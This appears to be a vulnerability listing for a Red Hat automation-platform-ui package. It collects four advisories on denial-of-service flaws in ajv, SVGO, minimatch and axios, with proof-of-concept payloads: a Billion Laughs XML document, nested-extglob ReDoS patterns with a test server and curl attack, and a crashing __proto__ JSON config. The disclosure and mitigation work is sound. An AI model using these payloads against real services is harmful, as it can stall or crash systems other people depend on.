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| purl | pkg:rpm/redhat/automation-platform-ui@2.6.7-1?arch=el9ap |
| Next non-vulnerable version | None. |
| Latest non-vulnerable version | None. |
| Risk | 4.0 |
| Vulnerability | Summary | Fixed by |
|---|---|---|
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VCID-1znw-5dwm-7ydy
Aliases: CVE-2025-69873 GHSA-2g4f-4pwh-qvx6 |
ajv has ReDoS when using `$data` option ajv (Another JSON Schema Validator) through version 8.17.1 is vulnerable to Regular Expression Denial of Service (ReDoS) when the `$data` option is enabled. The pattern keyword accepts runtime data via JSON Pointer syntax (`$data` reference), which is passed directly to the JavaScript `RegExp()` constructor without validation. An attacker can inject a malicious regex pattern (e.g., `\"^(a|a)*$\"`) combined with crafted input to cause catastrophic backtracking. A 31-character payload causes approximately 44 seconds of CPU blocking, with each additional character doubling execution time. This enables complete denial of service with a single HTTP request against any API using ajv with `$data`: true for dynamic schema validation. | There are no reported fixed by versions. |
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VCID-d6bq-bvvm-33f4
Aliases: CVE-2026-29074 GHSA-xpqw-6gx7-v673 |
SVGO DoS through entity expansion in DOCTYPE (Billion Laughs) ### Summary SVGO accepts XML with custom entities, without guards against entity expansion or recursion. This can result in a small XML file (811 bytes) stalling the application and even crashing the Node.js process with `JavaScript heap out of memory`. ### Details The upstream XML parser ([sax](https://www.npmjs.com/package/sax)) doesn't interpret custom XML entities by default. We pattern matched custom XML entities from the `DOCTYPE`, inserting them into `parser.ENTITIES`, and enabled `unparsedEntities`. This gives us the desired behavior of supporting SVGs with entities declared in the `DOCTYPE`. However, entities can reference other entities, which can enable small SVGs to explode exponentially when we try to parse them. #### Proof of Concept ```js import { optimize } from 'svgo'; /** Presume that this string was obtained in some other way, such as network. */ const original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; optimize(original); ``` ### Impact If SVGO is run on untrusted input (i.e., user uploaded to server-side application), then the untrusted SVG can effectively stall or crash the application with an SVG < 1 KB in size. It's unlikely to impact users who just use SVGO locally on their own SVGs or in build pipelines. ### Patches SVGO has patched v4.0.1, v3.3.3, and v2.8.1! However, it's strongly recommended to upgrade to v4 regardless, as previous versions are not officially supported anymore. ### Workarounds #### == 4.0.0 For v4, users do not specifically have to upgrade SVGO, though it is recommended to do so. A package manager can be used to upgrade sax recursively: For example: ```sh yarn up -R sax ``` New options were introduced upstream which makes the way SVGO parses SVGs safe by default. #### >= 2.1.0, <= 3.3.2 Users of v3 and v2 will have to take manual action. If users can't upgrade, they may be able to work around this as long as the project doesn't require support for custom XML entities, though it's not a simple flag. Parse the DOCTYPE directly and check for the presence of custom entities. If entities are present, throw/escape before passing them to SVGO. ```diff + import SAX from 'sax'; import { optimize } from 'svgo'; - const original =` + let original = ` <?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;"> <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;"> <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;"> <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;"> <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;"> <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;"> <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> <lolz>&lol9;</lolz> `; + const parser = SAX.parser(); + /** @param {string} doctype */ + parser.ondoctype = (doctype) => { + original = original.replace(doctype, ''); + } + parser.write(original); optimize(original); ``` ### Resources * [Wikipedia: Billion laughs attack](https://en.wikipedia.org/wiki/Billion_laughs_attack) | There are no reported fixed by versions. |
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VCID-kq3k-xr3z-z3c4
Aliases: CVE-2026-27904 GHSA-23c5-xmqv-rm74 |
minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions ### Summary Nested `*()` extglobs produce regexps with nested unbounded quantifiers (e.g. `(?:(?:a|b)*)*`), which exhibit catastrophic backtracking in V8. With a 12-byte pattern `*(*(*(a|b)))` and an 18-byte non-matching input, `minimatch()` stalls for over 7 seconds. Adding a single nesting level or a few input characters pushes this to minutes. This is the most severe finding: it is triggered by the default `minimatch()` API with no special options, and the minimum viable pattern is only 12 bytes. The same issue affects `+()` extglobs equally. --- ### Details The root cause is in `AST.toRegExpSource()` at [`src/ast.ts#L598`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/ast.ts#L598). For the `*` extglob type, the close token emitted is `)*` or `)?`, wrapping the recursive body in `(?:...)*`. When extglobs are nested, each level adds another `*` quantifier around the previous group: ```typescript : this.type === '*' && bodyDotAllowed ? `)?` : `)${this.type}` ``` This produces the following regexps: | Pattern | Generated regex | |----------------------|------------------------------------------| | `*(a\|b)` | `/^(?:a\|b)*$/` | | `*(*(a\|b))` | `/^(?:(?:a\|b)*)*$/` | | `*(*(*(a\|b)))` | `/^(?:(?:(?:a\|b)*)*)*$/` | | `*(*(*(*(a\|b))))` | `/^(?:(?:(?:(?:a\|b)*)*)*)*$/` | These are textbook nested-quantifier patterns. Against an input of repeated `a` characters followed by a non-matching character `z`, V8's backtracking engine explores an exponential number of paths before returning `false`. The generated regex is stored on `this.set` and evaluated inside `matchOne()` at [`src/index.ts#L1010`](https://github.com/isaacs/minimatch/blob/v10.2.2/src/index.ts#L1010) via `p.test(f)`. It is reached through the standard `minimatch()` call with no configuration. Measured times via `minimatch()`: | Pattern | Input | Time | |----------------------|--------------------|------------| | `*(*(a\|b))` | `a` x30 + `z` | ~68,000ms | | `*(*(*(a\|b)))` | `a` x20 + `z` | ~124,000ms | | `*(*(*(*(a\|b))))` | `a` x25 + `z` | ~116,000ms | | `*(a\|a)` | `a` x25 + `z` | ~2,000ms | Depth inflection at fixed input `a` x16 + `z`: | Depth | Pattern | Time | |-------|----------------------|--------------| | 1 | `*(a\|b)` | 0ms | | 2 | `*(*(a\|b))` | 4ms | | 3 | `*(*(*(a\|b)))` | 270ms | | 4 | `*(*(*(*(a\|b))))` | 115,000ms | Going from depth 2 to depth 3 with a 20-character input jumps from 66ms to 123,544ms -- a 1,867x increase from a single added nesting level. --- ### PoC Tested on minimatch@10.2.2, Node.js 20. **Step 1 -- verify the generated regexps and timing (standalone script)** Save as `poc4-validate.mjs` and run with `node poc4-validate.mjs`: ```javascript import { minimatch, Minimatch } from 'minimatch' function timed(fn) { const s = process.hrtime.bigint() let result, error try { result = fn() } catch(e) { error = e } const ms = Number(process.hrtime.bigint() - s) / 1e6 return { ms, result, error } } // Verify generated regexps for (let depth = 1; depth <= 4; depth++) { let pat = 'a|b' for (let i = 0; i < depth; i++) pat = `*(${pat})` const re = new Minimatch(pat, {}).set?.[0]?.[0]?.toString() console.log(`depth=${depth} "${pat}" -> ${re}`) } // depth=1 "*(a|b)" -> /^(?:a|b)*$/ // depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ // depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ // depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ // Safe-length timing (exponential growth confirmation without multi-minute hang) const cases = [ ['*(*(*(a|b)))', 15], // ~270ms ['*(*(*(a|b)))', 17], // ~800ms ['*(*(*(a|b)))', 19], // ~2400ms ['*(*(a|b))', 23], // ~260ms ['*(a|b)', 101], // <5ms (depth=1 control) ] for (const [pat, n] of cases) { const t = timed(() => minimatch('a'.repeat(n) + 'z', pat)) console.log(`"${pat}" n=${n}: ${t.ms.toFixed(0)}ms result=${t.result}`) } // Confirm noext disables the vulnerability const t_noext = timed(() => minimatch('a'.repeat(18) + 'z', '*(*(*(a|b)))', { noext: true })) console.log(`noext=true: ${t_noext.ms.toFixed(0)}ms (should be ~0ms)`) // +() is equally affected const t_plus = timed(() => minimatch('a'.repeat(17) + 'z', '+(+(+(a|b)))')) console.log(`"+(+(+(a|b)))" n=18: ${t_plus.ms.toFixed(0)}ms result=${t_plus.result}`) ``` Observed output: ``` depth=1 "*(a|b)" -> /^(?:a|b)*$/ depth=2 "*(*(a|b))" -> /^(?:(?:a|b)*)*$/ depth=3 "*(*(*(a|b)))" -> /^(?:(?:(?:a|b)*)*)*$/ depth=4 "*(*(*(*(a|b))))" -> /^(?:(?:(?:(?:a|b)*)*)*)*$/ "*(*(*(a|b)))" n=15: 269ms result=false "*(*(*(a|b)))" n=17: 268ms result=false "*(*(*(a|b)))" n=19: 2408ms result=false "*(*(a|b))" n=23: 257ms result=false "*(a|b)" n=101: 0ms result=false noext=true: 0ms (should be ~0ms) "+(+(+(a|b)))" n=18: 6300ms result=false ``` **Step 2 -- HTTP server (event loop starvation proof)** Save as `poc4-server.mjs`: ```javascript import http from 'node:http' import { URL } from 'node:url' import { minimatch } from 'minimatch' const PORT = 3001 http.createServer((req, res) => { const url = new URL(req.url, `http://localhost:${PORT}`) const pattern = url.searchParams.get('pattern') ?? '' const path = url.searchParams.get('path') ?? '' const start = process.hrtime.bigint() const result = minimatch(path, pattern) const ms = Number(process.hrtime.bigint() - start) / 1e6 console.log(`[${new Date().toISOString()}] ${ms.toFixed(0)}ms pattern="${pattern}" path="${path.slice(0,30)}"`) res.writeHead(200, { 'Content-Type': 'application/json' }) res.end(JSON.stringify({ result, ms: ms.toFixed(0) }) + '\n') }).listen(PORT, () => console.log(`listening on ${PORT}`)) ``` Terminal 1 -- start the server: ``` node poc4-server.mjs ``` Terminal 2 -- fire the attack (depth=3, 19 a's + z) and return immediately: ``` curl "http://localhost:3001/match?pattern=*%28*%28*%28a%7Cb%29%29%29&path=aaaaaaaaaaaaaaaaaaaz" & ``` Terminal 3 -- send a benign request while the attack is in-flight: ``` curl -w "\ntime_total: %{time_total}s\n" "http://localhost:3001/match?pattern=*%28a%7Cb%29&path=aaaz" ``` **Observed output -- Terminal 2 (attack):** ``` {"result":false,"ms":"64149"} ``` **Observed output -- Terminal 3 (benign, concurrent):** ``` {"result":false,"ms":"0"} time_total: 63.022047s ``` **Terminal 1 (server log):** ``` [2026-02-20T09:41:17.624Z] pattern="*(*(*(a|b)))" path="aaaaaaaaaaaaaaaaaaaz" [2026-02-20T09:42:21.775Z] done in 64149ms result=false [2026-02-20T09:42:21.779Z] pattern="*(a|b)" path="aaaz" [2026-02-20T09:42:21.779Z] done in 0ms result=false ``` The server reports `"ms":"0"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps. Note: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8's JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact. --- ### Impact Any context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here. Depth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard. `+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed). **Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns. | There are no reported fixed by versions. |
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VCID-x41s-g5mh-pkdq
Aliases: CVE-2026-25639 GHSA-43fc-jf86-j433 |
Axios is Vulnerable to Denial of Service via __proto__ Key in mergeConfig # Denial of Service via **proto** Key in mergeConfig ### Summary The `mergeConfig` function in axios crashes with a TypeError when processing configuration objects containing `__proto__` as an own property. An attacker can trigger this by providing a malicious configuration object created via `JSON.parse()`, causing complete denial of service. ### Details The vulnerability exists in `lib/core/mergeConfig.js` at lines 98-101: ```javascript utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) { const merge = mergeMap[prop] || mergeDeepProperties; const configValue = merge(config1[prop], config2[prop], prop); (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue); }); ``` When `prop` is `'__proto__'`: 1. `JSON.parse('{"__proto__": {...}}')` creates an object with `__proto__` as an own enumerable property 2. `Object.keys()` includes `'__proto__'` in the iteration 3. `mergeMap['__proto__']` performs prototype chain lookup, returning `Object.prototype` (truthy object) 4. The expression `mergeMap[prop] || mergeDeepProperties` evaluates to `Object.prototype` 5. `Object.prototype(...)` throws `TypeError: merge is not a function` The `mergeConfig` function is called by: - `Axios._request()` at `lib/core/Axios.js:75` - `Axios.getUri()` at `lib/core/Axios.js:201` - All HTTP method shortcuts (`get`, `post`, etc.) at `lib/core/Axios.js:211,224` ### PoC ```javascript import axios from "axios"; const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}'); await axios.get("https://httpbin.org/get", maliciousConfig); ``` **Reproduction steps:** 1. Clone axios repository or `npm install axios` 2. Create file `poc.mjs` with the code above 3. Run: `node poc.mjs` 4. Observe the TypeError crash **Verified output (axios 1.13.4):** ``` TypeError: merge is not a function at computeConfigValue (lib/core/mergeConfig.js:100:25) at Object.forEach (lib/utils.js:280:10) at mergeConfig (lib/core/mergeConfig.js:98:9) ``` **Control tests performed:** | Test | Config | Result | |------|--------|--------| | Normal config | `{"timeout": 5000}` | SUCCESS | | Malicious config | `JSON.parse('{"__proto__": {"x": 1}}')` | **CRASH** | | Nested object | `{"headers": {"X-Test": "value"}}` | SUCCESS | **Attack scenario:** An application that accepts user input, parses it with `JSON.parse()`, and passes it to axios configuration will crash when receiving the payload `{"__proto__": {"x": 1}}`. ### Impact **Denial of Service** - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload. Affected environments: - Node.js servers using axios for HTTP requests - Any backend that passes parsed JSON to axios configuration This is NOT prototype pollution - the application crashes before any assignment occurs. | There are no reported fixed by versions. |
| Vulnerability | Summary | Aliases |
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| This package is not known to fix vulnerabilities. | ||